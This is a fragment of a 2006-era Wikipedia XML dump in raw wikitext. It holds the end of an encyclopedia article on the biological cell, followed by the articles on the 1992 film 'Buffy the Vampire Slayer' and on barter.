The '''cell''' is the structural and functional unit of all [[life|living]] [[organism]]s, and &lt;!--&quot;are&quot; is not correct: antecedent is &quot;cell,&quot; which is SINGULAR--&gt;is sometimes called the &quot;building block of life.&quot; Some organisms, such as [[bacteria]], are [[unicellular]], consisting of a single cell. Other organisms, such as [[human]]s, are [[multicellular]], (humans have an estimated 100,000 billion or 10&lt;sup&gt;14&lt;/sup&gt; cells). 
The [[cell theory]], first developed in 1839 by [[Matthias Jakob Schleiden|Schleiden]] and [[Theodor Schwann|Schwann]], states that all [[organism]]s are composed of one or more cells; all cells come from preexisting cells; all vital functions of an organism occur within cells, and cells contain the [[genetics|hereditary information]] necessary for regulating cell functions and for transmitting information to the next generation of cells.

The word ''cell'' comes from the [[Latin]] ''cella'', a small room.  The name was chosen by [[Robert Hooke]] when he compared the [[cork (material)|cork]] cells he saw to small rooms monks lived in.

Some ([[Lynn Margulis]] and Dorian Sagan, 1995) have argued that the cell is the smallest unit of [[life]].

==Overview==
===Properties of cells===
[[Image:Cellsize.jpg|thumb|right|190px|Mouse cells grown in a culture dish. These cells grow in large clumps, but each individual cell is about 10 [[micrometre]]s across.]]

Each cell is at least somewhat self-contained and self-maintaining: it can take in nutrients, convert these nutrients into energy, carry out specialized functions, and reproduce as necessary.  Each cell stores its own set of instructions for carrying out each of these activities.

All cells share several abilities:
*Reproduction by [[cell division]].
*[[cell metabolism|Metabolism]], including taking in raw materials, building cell components, converting [[energy]], [[molecule]]s and releasing [[by-product]]s.  The functioning of a cell depends upon its ability to extract and use chemical energy stored in organic molecules. This energy is derived from [[metabolic pathway]]s.
*[[protein biosynthesis|Synthesis]] of [[protein]]s, the functional workhorses of cells, such as [[enzyme]]s.  A typical [[mammal|mammalian]] cell contains up to 10,000 different [[protein]]s.
*Response to external and internal [[signal transduction|stimuli]] such as changes in temperature, [[pH]] or nutrient levels.
*[[traffic (locational)|Traffic]] of [[vesicle (biology)|vesicle]]s.

[[Image:celltypes.png|thumbnail|350px|'''The cells of eukaryotes and prokaryotes.''' - This diagram illustrates a typical human cell]]

==Subcellular components==
[[image:biological_cell.png|thumb|350px|Schematic of typical animal cell, showing subcellular components. [[Organelle]]s: (1) [[nucleolus]] (2) [[cell nucleus|nucleus]] (3) [[ribosome]] (4) [[vesicle (biology)|vesicle]],(5) rough [[endoplasmic reticulum]] (ER), (6) [[Golgi apparatus]], (7) [[Cytoskeleton]], (8) smooth ER, (9) [[mitochondrion|mitochondria]], (10) [[vacuole]], (11) [[cytoplasm]], (12) [[lysosome]], (13) [[centriole]]s]]
[[Image:Plant cell structure.png|thumb|350px|Schematic of typical plant cell (see table 2 for a comparison between plant and animal cells)]]
All cells, whether prokaryotic or eukaryotic, have a [[cell membrane|membrane]], which envelopes the cell, separates its interior from its environment, controls what moves in and out, and maintains the  [[cell potential|electric potential of the cell]].  Inside the membrane, a [[salt]]y [[cytoplasm]] takes up most of the cell volume.   All cells possess [[DNA]], the hereditary material of [[gene]]s, and [[RNA]], containing the information necessary to [[gene expression|build]] various [[protein]]s such as [[enzyme]]s,  the cell's primary machinery. There are also other kinds of [[biomolecule]]s in cells.  This article will list these primary components of the cell, then briefly describe their function.

===Cell membrane - a cell's protective coat===
''Main article:'' [[Cell membrane]]

The cytoplasm of a eukaryotic cell is surrounded by a ''plasma membrane''.   A form of plasma membrane is also found in prokaryotes, but is usually referred to as the ''cell membrane''.   This membrane serves to separate and protect a cell from its surrounding environment and is made mostly from a [[lipid bilayer|double layer of lipids]] (fat-like molecules) and [[protein]]s. Embedded within this membrane &lt;!--&quot;are&quot; is INCORRECT: &quot;variety,&quot; which is SINGULAR, is the subject--&gt;is a variety of other molecules that act as channels and pumps, moving different molecules into and out of the cell.

===Cytoskeleton - a cell's scaffold===
''Main article:''  [[Cytoskeleton]]

The cytoskeleton is an important, complex, and dynamic cell component made up of [[microfilaments]]. It acts to organize and maintain the cell's shape; anchors organelles in place; helps during [[endocytosis]], the uptake of external materials by a cell; and moves parts of the cell in processes of growth and motility. There &lt;!--&quot;are&quot; is incorrect: the complement of &quot;is&quot; is &quot;a great number (singular)&quot;--&gt;is a great number of proteins associated with the cytoskeleton, each controlling a cell's structure by directing, bundling, and aligning filaments.

===Genetic material===
Two different kinds of genetic material exist: [[DNA|deoxyribonucleic acid]] (DNA) and [[RNA|ribonucleic acid]] (RNA). Most organisms use DNA for their long-term information storage, but some viruses ([[retrovirus]]es) have RNA as their genetic material. The biological information contained in an organism is [[Genetic code|encoded]] in its DNA or RNA sequence. RNA is also used for information transport (e.g., [[mRNA]]) and [[enzyme|enzymatic]] functions (e.g., [[ribosome|ribosomal]] RNA) in organisms that use RNA for the genetic code itself.
            
Prokaryotic genetic material is organized in a simple circular DNA molecule (the bacterial [[chromosome]]) in the [[nucleoid region]] of the cytoplasm. Eukaryotic genetic material is divided into different, linear molecules called [[chromosome]]s inside a discrete nucleus, usually with additional genetic material in some organelles like mitochondria and chloroplasts (see [[endosymbiotic theory]]).

A human cell has genetic material in the nucleus (the [[genome|nuclear genome]]) and in the mitochondria (the [[mitochondrial genome]]). The nuclear genome is divided into 46 linear DNA molecules called chromosomes. The mitochondrial genome is a circular DNA molecule separate from the nuclear DNA. Although the mitochondrial genome is very small, it codes for some important proteins.

Foreign genetic material (most commonly DNA) can also be artificially introduced into the cell by a process called [[transfection]]. This can be transient, if the DNA is not inserted into the cell's [[genome]], or stable, if it is.

===Organelles===
''Main article:'' [[Organelle]]

The human body contains many different [[Organ (anatomy)|organs]], such as the heart, lung, and kidney, with each organ performing a different function. Cells also have a set of &quot;little organs,&quot; called [[organelle]]s, that are adapted and/or specialized for carrying out one or more vital functions. Membrane-bound organelles are &lt;!--&quot;only&quot; INCORRECT here: misplaced modifier; placed before the prepositional phrase--&gt; found only in eukaryotes.

*'''Cell nucleus - a cell's information center''':  The [[cell nucleus]] is the most conspicuous organelle found in a eukaryotic cell. It houses the cell's chromosomes, and is the place where almost all DNA replication and RNA synthesis occur. The nucleus is spheroid in shape and separated from the cytoplasm by a double membrane called the [[nuclear envelope]]. The nuclear envelope isolates and protects a cell's DNA from various molecules that could accidentally damage its structure or interfere with its processing. During processing, DNA is [[transcribed]], or copied into a special RNA, called mRNA. This mRNA is then transported out of the nucleus, where it is translated into a specific protein molecule. In prokaryotes, DNA processing takes place in the cytoplasm.

*'''Ribosomes - the protein production machine''': [[Ribosome]]s are found in both prokaryotes and eukaryotes. The [[ribosome]] is a large complex composed of many molecules, including RNAs and proteins, and is responsible for processing the genetic instructions carried by an mRNA. The process of converting an mRNA's genetic code into the exact sequence of amino acids that make up a protein is called [[translation (genetics)|translation]]. Protein synthesis is extremely important to all cells, and therefore a large number of ribosomes &amp;mdash; sometimes hundreds or even thousands &amp;mdash; can be found throughout a cell.

*'''Mitochondria and chloroplasts - the power generators''': [[Mitochondrion|Mitochondria]] are self-replicating organelles that occur in various numbers, shapes, and sizes in the cytoplasm of all eukaryotic cells. As mitochondria contain their own genome that is separate and distinct from the nuclear genome of a cell, they play a critical role in generating energy in the eukaryotic cell, a process involving a number of complex [[metabolic pathway]]s. [[Chloroplasts]] are larger than mitochondria, and convert solar energy into a [[chemical energy]] (&quot;food&quot;) via [[photosynthesis]].  Like mitochondria, chloroplasts have their own genome.  Chloroplasts are found only in photosynthetic eukaryotes, like plants and [[algae]]. There is a number of plant organelles that are modified chloroplasts; they are broadly called [[plastid]]s, and are often involved in storage.

*'''Endoplasmic reticulum and Golgi apparatus - macromolecule managers:''': The [[endoplasmic reticulum]] (ER) is the transport network for molecules targeted for certain modifications and specific destinations, as compared to molecules that will float freely in the cytoplasm. The ER has two forms: the rough ER, which has ribosomes on its surface, and the smooth ER, which lacks them.  Translation of the mRNA for those proteins that will either stay in the ER or be ''exported'' from the cell occurs at the ribosomes attached to the rough ER.  The smooth ER is important in [[lipid]] synthesis, [[detoxification]] and as a [[calcium]] reservoir.  The [[Golgi apparatus]], sometimes called a ''Golgi body'' or ''Golgi complex'' is the central delivery system for the cell and is a site for protein processing, packaging, and transport.  Both organelles consist largely of heavily-folded membranes.
            
*'''Lysosomes and peroxisomes - the cellular digestive system''': [[Lysosome]]s and [[peroxisome]]s are often referred to as the garbage disposal system of a cell. Both organelles are somewhat spherical, bound by a single membrane, and rich in digestive [[enzyme]]s, naturally-occurring proteins that speed up biochemical processes. For example, lysosomes can contain more than three dozen enzymes for degrading proteins, nucleic acids, and certain sugars called polysaccharides. Here we can see the importance behind compartmentalization of the eukaryotic cell. The cell could not house such destructive enzymes if they were not contained in a membrane-bound system.

*'''Centrioles''' help in the formation of mitotic appratus. Two centrioles are present in the animal cells. They are also found in some fungi and algae cells.

*'''Vacuoles''' store food and waste. Some vacuoles store extra water. They are often described as liquid filled space and are surrounded by a membrane.

==Anatomy of cells==
=== Prokaryotic cells ===
[[Prokaryote]]s are distinguished from eukaryotes on the basis of nuclear organization, specifically their lack of a nuclear membrane.  Prokaryotes also lack most of the intracellular organelles and structures that are characteristic of eukaryotic cells (an important exception is the ribosomes, which are present in both prokaryotic and eukaryotic cells). Most of the functions of organelles, such as mitochondria, chloroplasts, and the Golgi apparatus, are taken over by the prokaryotic plasma membrane.  Prokaryotic cells have three architectural regions: appendages called [[flagella]] and [[Pilus|pili]] &amp;mdash; proteins attached to the cell surface; a [[cell envelope]] consisting of a capsule, a [[cell wall]], and a [[plasma membrane]]; and a [[cytoplasm|cytoplasmic region]] that contains the [[genome|cell genome]] (DNA) and ribosomes and various sorts of inclusions.  Other differences include:
*The ''plasma membrane'' (a phospholipid bilayer) separates the interior of the cell from its environment and serves as a filter and communications beacon.
*Most prokaryotes have a ''[[cell wall]]'' (some exceptions are ''[[Mycoplasma]]'' (a bacterium) and ''[[Thermoplasma]]'' (an archaeon)). It consists of ''[[peptidoglycan]]'' in bacteria, and acts as an additional barrier against exterior forces. It also prevents the cell from &quot;exploding&quot; from [[osmotic pressure]] against a [[hypotonic]] environment.  A cell wall is also present in some eukaryotes like [[fungi]], but has a different chemical composition.
*A prokaryotic chromosome is usually a circular molecule (an exception is that of the bacterium ''Borrelia burgdorferi'', which causes [[Lyme disease]]). Even without a real ''nucleus'', the DNA is condensed in a ''nucleoid''.  Prokaryotes can carry extrachromosomal DNA elements called ''[[plasmid]]s'', which are usually circular. Plasmids can carry additional functions, such as antibiotic resistance.

===Eukaryotic cells ===
There are two types of cells, eukaryotic and prokaryotic. Eukaryotic cells are usally found in multi-cellular organisms, while prokaryotic cells are usually on their own. [[Eukaryote|Eukaryotic]] cells are about 10 times the size of a typical prokaryote and can be as much as 1000 times greater in volume. The major difference between prokaryotes and eukaryotes is that eukaryotic cells contain membrane-bound compartments in which specific metabolic activities take place. Most important among these is the presence of a [[cell nucleus]], a membrane-delineated compartment that houses the eukaryotic cell's DNA. It is this nucleus that gives the eukaryote its name, which means &quot;true nucleus.&quot;
Other differences include: 
*The plasma membrane resembles that of prokaryotes in function, with minor differences in the setup.  Cell walls may or may not be present.
*The eukaryotic DNA is organized in one or more linear molecules, called [[chromosome]]s, which are highly condensed (i.e. folded around [[histone]]s). All chromosomal DNA is stored in the ''[[cell nucleus]]'', separated from the cytoplasm by a membrane. Some eukaryotic [[organelle]]s can contain some DNA.
*Eukaryotes can move using ''cilia'' or ''flagella''. The flagella are more complex than those of prokaryotes.

{| align=&quot;center&quot; class=&quot;toccolours&quot; border=&quot;1&quot; style=&quot;border:1px solid gray; border-collapse:collapse;&quot;
|+'''Table 1: Comparison of features of prokaroytic and eukaryotic cells'''
|- 
|&amp;nbsp;
!Prokaryotes
!Eukaryotes
|-
!Typical organisms
|[[bacterium|bacteria]], [[archaea]]
|[[protist]]s, [[fungus|fungi]], [[plant]]s, [[animal]]s
|-
!Typical size
|~ 1-10 [[µm]]
|~ 10-100 [[µm]] ([[spermatozoon|sperm cell]]s, apart from the tail, are smaller)
|-
!Type of [[cell nucleus|nucleus]]
|[[nucleoid region]]; no real nucleus
|real nucleus with double membrane
|-
!DNA
|circular (usually)
|linear molecules ([[chromosome]]s) with [[histone]] [[protein|proteins]]
|-
!RNA-/protein-synthesis
|coupled in [[cytoplasm]]
|RNA-synthesis inside the nucleus&lt;br /&gt;protein synthesis in cytoplasm
|-
![[Ribosome]]s
|50S+30S
|60S+40S
|-
!Cytoplasmatic structure
|very few structures
|highly structured by endomembranes and a [[cytoskeleton]]
|-
![[chemotaxis|Cell movement]]
|[[flagellum|flagella]] made of [[flagellin]]
|flagella and [[cilium|cilia]] made of [[tubulin]]
|-
![[mitochondrium|Mitochondria]]
|none
|one to several dozen (though some lack mitochondria)
|-
![[Chloroplast]]s
|none
|in [[algae]] and [[plant]]s
|-
!Organization
|usually single cells
|single cells, colonies, higher multicellular organisms with specialized cells
|-
![[Cell division]]
|[[Binary fission]] (simple division)
|[[Mitosis]] &lt;br /&gt;[[Meiosis]]
|}

{| align=&quot;center&quot; class=&quot;toccolours&quot; border=&quot;1&quot; style=&quot;border:1px solid gray; border-collapse:collapse;&quot;
|+'''Table 2: Comparison of structures between animal and plant cells'''
|-
|
!Typical animal cell
!Typical plant cell
|- valign=&quot;top&quot;
!Organelles
|
*[[Cell nucleus|Nucleus]]
**[[Nucleolus]] (within nucleus)
*Rough [[endoplasmic reticulum]] (ER)
*Smooth ER
*[[Ribosome]]s
*[[Cytoskeleton]]
*[[Golgi apparatus]]
*[[Cytoplasm]]
*[[Mitochondrion|Mitochondria]]
*[[vesicle (biology)|Vesicle]]s
*[[Vacuole]]s
*[[Lysosome]]s 
*[[Centriole]]s
|
*[[Cell nucleus|Nucleus]]
**[[Nucleolus]] (within nucleus)
*Rough ER
*Smooth ER
*[[Ribosomes]]
*[[Cytoskeleton]]
*[[Golgi apparatus]] ([[dictiosome]]s)
*[[Cytoplasm]]
*[[Mitochondrion]]
*[[vesicle (biology)|Vesicle]]
*[[Chloroplast]] and other [[plastid]]s
*[[Central vacuole]]
**[[Tonoplast]] (central vacuole membrane)
*[[Peroxisome]]
*[[Glyoxysome]]
|- valign=&quot;top&quot;
!Additional structures
|
*[[Cilium]]
*[[Flagellum]]
*[[Plasma membrane]]
|
*[[Plasma membrane]]
*[[Cell wall]]
*[[Plasmodesmata]]
*[[Flagellum]] (only in gametes)
|}

==Cell functions==
===Cell growth and metabolism===
''Main articles:'' [[Cell growth]], [[Cell metabolism]]

Between successive cell divisions, cells grow through the functioning of cellular metabolism.
Cell metabolism is the process by which individual [[cell (biology)|cell]]s process nutrient molecules. Metabolism has two distinct divisions: [[catabolism]], in which the cell breaks down complex molecules to produce energy and reducing power, and [[anabolism]], wherein the cell uses energy and reducing power to construct complex molecules and perform other biological functions.
Complex sugars consumed by the organism can be broken down into a less chemically-complex sugar molecule called [[glucose]]. Once inside the cell, glucose is broken down to make adenosine triphosphate ([[adenosine triphosphate|ATP]]), a form of energy, via two different pathways.

The first pathway, [[glycolysis]], requires no oxygen and is referred to as [[anaerobic metabolism]]. Each reaction is designed to produce some hydrogen ions that can then be used to make energy packets (ATP).  In prokaryotes, glycolysis is the only method used for converting energy.
The second pathway, called the Krebs cycle, or [[citric acid cycle]], occurs inside the mitochondria and is capable of generating enough ATP to run all the cell functions.

===Making new cells===
''Main article:'' [[Cell division]]

[[Image:proteinsynthesis.png|frame|An overview of protein synthesis.&lt;br/&gt;Within the [[cell nucleus|nucleus]] of the cell (''light blue''), [[gene]]s (DNA, ''dark blue'') are [[transcription (genetics)|transcribed]] into [[RNA]]. This RNA is then subject to post-transcriptional modification and control, resulting in a mature [[mRNA]] (''red'') that is then transported out of the nucleus and into the [[cytoplasm]] (''peach''), where it undergoes [[translation (genetics)|translation]] into a protein. mRNA is translated by [[ribosome]]s (''purple'') that match the three-base [[codon]]s of the mRNA to the three-base anti-codons of the appropriate [[transfer RNA|tRNA]]. Newly-synthesized proteins (''black'') are often further modified, such as by binding to an effector molecule (''orange''), to become fully active.]]

Cell division involves a single cell (called a ''mother cell'') dividing into two daughter cells. This leads to growth in [[multicellular organism]]s (the growth of [[biological tissue|tissue]]) and to procreation ([[vegetative reproduction]]) in [[unicellular organism]]s.
[[Prokaryote|Prokaryotic]] cells divide by [[binary fission]].  [[Eukaryote|Eukaryotic]] cells usually undergo a process of nuclear division, called [[mitosis]], followed by division of the cell, called [[cytokinesis]].  A [[diploid]] cell may also undergo [[meiosis]] to produce haploid cells, usually four.  [[Haploid]] cells serve as [[gamete]]s in multicellular organisms, fusing to form new diploid cells.
[[DNA replication]], or the process of duplicating a cell's genome, is required every time a cell divides. Replication, like all cellular activities, requires specialized proteins for carrying out the job. 

===Protein synthesis===
''Main article:'' [[Protein biosynthesis]]

Protein synthesis is the process in which the cell builds [[protein]]s. 
DNA [[transcription (genetics)|transcription]] refers to the synthesis of a [[messenger RNA]] (mRNA) molecule from a DNA template. This process is very similar to DNA replication. Once the mRNA has been generated, a new protein molecule is synthesized via the process of [[translation (genetics)|translation]].

The cellular machinery responsible for synthesizing proteins is the [[ribosome]]. The ribosome consists of structural RNA and about 80 different proteins. When the ribosome encounters an mRNA, the process of [[translation (genetics)|translating]] an mRNA to a protein begins.  The ribosome accepts a new [[transfer RNA]], or tRNA&amp;mdash;the adaptor molecule that acts as a translator between mRNA and protein&amp;mdash;bearing an [[amino acid]], the building block of the protein. Another site binds the tRNA that becomes attached to the growing chain of amino acids, forming the a polypeptide chain that will eventually be processed to become a protein.

==Origins of cells==

''Main article'': [[Origin of life]]

The origin of cells has to do with the origin of life, and was one of the most important steps in evolution of life as we know it. The birth of the cell marked the passage from prebiotic chemistry to biological life.

===Origin of first cell===
If life is viewed from the point of view of [[replicator|replicators]], that is [[DNA]] molecules in the organism, cells satisfy two fundamental conditions: protection from the outside environment and confinement of biochemical activity. The former condition is needed to maintain the fragile [[DNA]] chains stable in a varying and sometimes aggressive environment, and may have been the main reason for which cells evolved. The latter is fundamental for the evolution of [[biological complexity]]. If freely-floating DNA molecules that code for [[enzyme|enzymes]] are not enclosed into cells, the enzymes that benefit a given DNA molecule (for example, by producing nucleotides) will automatically benefit the neighbouring DNA molecules.  This might be viewed as &quot;[[parasitism]] by default.&quot; Therefore the [[natural selection|selection pressure]] on DNA molecules will be much lower, since there is not a definitive advantage for the &quot;lucky&quot; DNA molecule that produces the better enzyme over the others: All molecules in a given neighbourhood are almost equally advantaged. 

If all the DNA molecule is enclosed in a cell, then the enzymes coded from the molecule will be kept close to the DNA molecule itself. The DNA molecule will directly enjoy the benefits of the enzymes it codes, and not of others. This means other DNA molecules won't benefit from a positive mutation in a neighbouring molecule: this in turn means that positive mutations give immediate and selective advantage to the replicator bearing it, and not on others. This is thought to have been the one of the main driving force of evolution of life as we know it.
(Note. This is more a metaphor given for simplicity than complete accuracy, since the earliest molecules of life, probably up to the stage of cellular life, were most likely [[RNA]] molecules, acting both as replicators and enzymes: see [[RNA world hypothesis]] . But the core of the reasoning is the same.)

Biochemically, cell-like spheroids formed by [[proteinoid|proteinoids]] are observed by heating [[amino acid|amino acids]] with [[phosphoric acid]] as a catalyst. They bear much of the basic features provided by [[cell membrane|cell membranes]]. Proteinoid-based protocells enclosing RNA molecules could (but not necessarily should) have been the first cellular life forms on Earth.

Another theory holds that the turbulent shores of the ancient coastal waters may have served as a mammoth laboratory, aiding in the countless experiments necessary to bring about the first cell. Waves breaking on the shore create a delicate foam composed of bubbles. Winds sweeping across the ocean have a tendency to drive things to shore, much like driftwood collecting on the beach. It is possible that organic molecules were concentrated on the shorelines in much the same way. Shallow coastal waters also tend to be warmer, further concentrating the molecules through [[evaporation]]. While bubbles comprised of mostly water tend to burst quickly, oily bubbles happen to be much more stable, lending more time to the particular bubble to perform these crucial experiments. The [[Phospholipid]] is a good example of a common oily compound prevalent in the prebiotic seas. Phospholipids can be constructed in ones mind as a [[hydrophilic]] head on one end, and a [[hydrophobic]] tail on the other. Phospholipids also possess an important characteristic, that is being able to link together to form a [[Lipid bilayer|bilayer]] membrane. A lipid monolayer bubble can only contain oil, and is therefore not conducive to harbouring water-soluble organic molecules. On the other hand, a lipid bilayer bubble [http://users.rcn.com/jkimball.ma.ultranet/BiologyPages/P/Phospholipids.html] can contain water, and was a likely precursor to the modern cell membrane. If a protein came along that increased the integrity of its parent bubble, then that bubble had an advantage, and was placed at the top of the [[natural selection]] waiting list. Primitive reproduction can be envisioned when the bubbles burst, releasing the results of the experiment into the surrounding medium. Once enough of the 'right stuff' was released into the medium, the development of the first [[prokaryotes]], [[eukaryotes]], and multi-celluar organisms could be achieved. This theory is expanded upon in the book, ''&quot;The Cell: Evolution of the First Organism&quot;'' by [[Joseph Panno]] Ph.D.

===Origin of eukaryotic cells===
The eukaryotic cell seems to have evolved from a [[symbiosis|symbiotic community]] of prokaryotic cells. It is almost certain that DNA-bearing organelles like the [[mitochondria]] and the [[chloroplasts]] are what remains of ancient symbiotic oxygen-breathing [[bacterium|bacteria]] and [[cyanobacteria]], respectively, where the rest of the cell seems to be derived from an ancestral [[archaea|archaean]] prokaryote cell &amp;ndash; a theory termed the [[endosymbiotic theory]]. 

There is still considerable debate on if organelles like the [[hydrogenosome]] predated the origin of [[mitochondria]], or viceversa : see the [[hydrogen hypothesis]] for the origin of eukaryotic cells.

==History ==
*1632-1723: [[Antony van Leeuwenhoek]] teaches himself to grind [[Lens (optics)|lenses]], builds a [[microscope]] and draws [[protozoa]], such as ''[[Vorticella]]'' from rain water, and [[bacterium|bacteria]] from his own mouth.
*1665 : [[Robert Hooke]] discovers cells in cork, then in living plant tissue using an early microscope.&lt;ref&gt;&quot;&lt;cite&gt;... I could exceedingly plainly perceive it to be all perforated and porous, much like a Honey-comb, but that the pores of it were not regular [..] these pores, or cells, [..] were indeed the first microscopical pores I ever saw, and perhaps, that were ever seen, for I had not met with any Writer or Person, that had made any mention of them before this. . .&lt;/cite&gt;&quot; – Hooke describing his  observations on a thin slice of cork. [http://www.ucmp.berkeley.edu/history/hooke.html Robert Hooke]&lt;/ref&gt;
*1839 : [[Theodor Schwann]] and [[Matthias Jakob Schleiden]] elucidate the principle that plants and animals are made of cells, concluding that cells are a common unit of structure and development, thus founding the '''Cell Theory'''.
*The belief that life forms are able to occur spontaneously (''[[Abiogenesis|generatio spontanea]]'') is contradicted by [[Louis Pasteur]] (1822-1895) (although [[Francesco Redi]] had performed an experiment in 1668 that suggested the same conclusion). 
*[[Rudolph Virchow]] states that cells always emerge from [[cell division]]s (''omnis cellula ex cellula'').
*1931: [[Ernst Ruska]] builds first [[transmission electron microscope]] (TEM) at the [[University of Berlin]].  By 1935, he has built an EM with twice the resolution of a light microscope, revealing previously-unresolvable organelles.
*1953: [[James D. Watson|Watson]] and [[Francis Crick|Crick]] made their first announcement on the double-[[helix]] structure for DNA on February 28.
*1981: [[Lynn Margulis]] published ''Symbiosis in Cell Evolution'' detailing the [[endosymbiotic theory]].

==See also==
*[[Cariology]] is the study of the [[cell nucleus]].
*[[Cytotoxicity]]
*[[Plant cell]]
*[[Cell type]]s
*[[Syncytium]]
*[[Cell culture]]
*[[Stem cell]]
*[[Plasmolysis]]
*[[Cytorrhysis]]
*[[A549 cell]]

==External links==
{{commons|Cell (biology)}}
{{wikibookspar||Cell Biology}}
*[http://www.ericdigests.org/2004-1/cells.htm Teaching about the Life and Health of Cells.]
*[http://www.biopic.co.uk/cellcity/cell.htm The cell like a city].
*[http://www.cellsalive.com/ Cells Alive!]
*[http://www.jcb.org/ Journal of Cell Biology]
*[http://simple.wikipedia.org/wiki/Cell A simplified version of this article]
*[http://members.optusnet.com.au/exponentialist/Cells.htm A comparison of the generational and exponential growth of cell populations]

===Online textbooks===
*''[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Search&amp;db=books&amp;doptcmdl=GenBookHL&amp;term=cell+biology+AND+mboc4%5Bbook%5D+AND+373693%5Buid%5D&amp;rid=mboc4 Molecular Biology of the Cell]'' fourth edition, edited by Bruce Alberts (2002) published by Garland Science.
*''[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Search&amp;db=books&amp;doptcmdl=GenBookHL&amp;term=cell+biology+AND+mcb%5Bbook%5D+AND+105032%5Buid%5D&amp;rid=mcb.chapter.145 Molecular Cell Biology]'' fourth edition, edited by Harvey Lodish (2000) published by W. H. Freeman and Company.
*''[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Search&amp;db=books&amp;doptcmdl=GenBookHL&amp;term=cell+biology+AND+cooper%5Bbook%5D+AND+165077%5Buid%5D&amp;rid=cooper.chapter.89 The Cell - A Molecular Approach]'' second edition, by Geoffrey M. Cooper (2000) published by  Sinauer Associates.

==References==
&lt;references /&gt;
* {{NCBI-scienceprimer}}

[[Category:Cell biology]]
[[Category:Biology]]

{{Link FA|vi}}
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[[ar:خلية]]
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[[zh:细胞]]</text>
    </revision>
  </page>
  <page>
    <title>Buffy the Vampire Slayer (film)</title>
    <id>4231</id>
    <revision>
      <id>41493722</id>
      <timestamp>2006-02-27T19:11:30Z</timestamp>
      <contributor>
        <username>Staecker</username>
        <id>211117</id>
      </contributor>
      <comment>/* Canonical issues */ rm redundancy redundancy</comment>
      <text xml:space="preserve">{{Infobox Film |
  name        = Buffy The Vampire Slayer  |
  image       = Buffy The Vampire Slayer Movie.jpg |
  writer      = [[Joss Whedon]] |
  starring    = [[Kristy Swanson]],&lt;br&gt;[[Donald Sutherland]],&lt;br&gt;[[Paul Reubens]],&lt;br&gt;with [[Rutger Hauer]],&lt;br&gt;and [[Luke Perry]] |
  director    = [[Fran Rubel Kuzui ]] |
  producer    = [[Kaz Kuzui]],&lt;br&gt;[[Howard Rosenman]] |
  distributor = [[20th Century Fox]] |
  released    = [[July 31]], [[1992]]|w
  runtime     = 86 min.|
  language    = English |
  budget      = $20,000,000 |         
  music       = [[Carter Burwell]]|
  awards      = |
 imdb_id      = 0103893 |
}}

'''''Buffy the Vampire Slayer''''' is a [[1992]] [[comedy film]] about a &quot;[[Valley Girl]]&quot; [[cheerleading|cheerleader]] who discovers she is The Slayer -- a young woman born with special strength and skill and a destiny to fight [[vampire]]s. It stars [[Kristy Swanson]], [[Donald Sutherland]], [[Rutger Hauer]], [[Luke Perry]] and [[Randall Batinkoff]], and was written by [[Joss Whedon]] and directed by [[Fran Rubel Kuzui]]. It also features [[Paul Reubens]] in a departure from his better known role as [[Pee-Wee Herman]] as well as a young [[Hillary Swank]].

The film also led to a darker and much more popular [[Buffy the Vampire Slayer|TV series]] of the same name, starring [[Sarah Michelle Gellar]], also created, and sometimes written and directed by Whedon. Whedon went on to state that the TV series was a much closer rendering of his vision than the movie, which was compromised by commercial concerns.

==Trivia ==
*Characters in the movie include [[Merrick (Buffyverse character)|Merrick]] and [[Pike (Buffyverse character)|Pike]]
* [[Ben Affleck]] has a role as an [[extra (drama)|extra]].
* [[Ricki Lake]] has a role as Charlotte the waitress. 
* [[Seth Green]] appeared as a vampire victim in a deleted scene which nonetheless featured on the original video cover; he would have been the only actor from the movie to appear in the TV series.
*The film was adapted into comic format bringing it closer into line with the [[Buffyverse]] established by the TV series in [[The Origin (Buffy comic)|The Origin]].

====Canonical issues====

The film is not considered [[Buffyverse canon]] built by the later television series. In fact, many of the details given in the film directly contradict canon that would later be established by Whedon's television series. For example, in the film, vampires do not have 'bumpy' faces whilst feeding, while they do in the series.

==References==
*[[Janet Maslin]].  &quot;She's Hunting Vampires, And on a School Night.&quot;  ''The [[New York Times]].''  [[July 31]], [[1992]].  C8.

==External links ==
* {{imdb title|id=0103893|title=Buffy the Vampire Slayer}}

[[Category:1992 films]]
[[Category:Teen comedy films]]
[[Category:Teen films]]
[[Category:Buffy the Vampire Slayer]]
[[Category:20th Century Fox films|Buffy The Vampire Slayer]]

[[de:Buffy, der Vampirkiller]]
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[[sv:Buffy vampyrdödaren (film)]]</text>
    </revision>
  </page>
  <page>
    <title>Barter</title>
    <id>4232</id>
    <revision>
      <id>41726474</id>
      <timestamp>2006-03-01T08:55:33Z</timestamp>
      <contributor>
        <ip>66.189.158.121</ip>
      </contributor>
      <comment>removed subjective and prejudiced statements, many placing barter in a position of historical irrelevance.  ammended to show barter as a contemporary issue.</comment>
      <text xml:space="preserve">{| border cellspacing=0 align=right
|-
! bgcolor=yellow | Economies by type of trade
|-
| [[closed household economy]]
|-
| '''barter economy'''
|-
| [[monetary economy]]
|}

'''Barter''' is a type of [[trade]] where [[product (business)|goods]] or [[service]]s are exchanged for a certain amount of other goods or services, i.e. there is no [[money]] involved in the transaction. It can be bilateral or multilateral as [[trade]].

Barter trade is common among people with no access to a cash economy.  Also, in societies where no monetary system exists, or in economies suffering from a very unstable [[currency]] (as when [[hyperinflation]] hits) or a lack of currency.

A disadvantage of using bilateral barter is that it can depend apon a mutual coincidence of needs. Before any transaction can be undertaken, the needs of one person must mirror the needs of another person.  To overcome this mutual coincidence problem, some communities have developed a system of intermediaries who can store, trade, and warehouse commodities. However, the intermediaries often suffer from financial risk.

To organize production and to distribute goods and services among their populations, many pre-[[capitalist]] or pre-market economies relied on [[tradition]], top-down [[command]], or community [[democracy]] instead of market exchange organized using barter. Relations of [[reciprocity]] and/or [[redistribution]] substituted for market exchange. Trade and barter were primarily reserved for trade between communities or countries. 

Barter becomes more and more difficult as people become dispossesed of the means of production to produce needed products, including their subsistence. For example, if money were to be severly devalued in the United States, most people would have very little of value to trade for food (since the farmer can only use so many cars, etc.)

In [[finance]], the word &quot;barter&quot; is used when two corporations trade with each other using non-money financial assets (such as U.S. Treasury bills). Alternatively, the standard definitions of [[money]] could be seen as being too narrow and needing to be expanded to increase near-money assets. 


== See also ==
* [[Simple living]]
* [[Private currency]]
* [[Reciprocity (cultural anthropology)|Reciprocity]]
* [[Marketing]]
* [[Local currency]]
* [[Local Exchange Trading System]]
* [[International trade]]
* [[Hyperinflation]]
* [[List of international trade topics]]
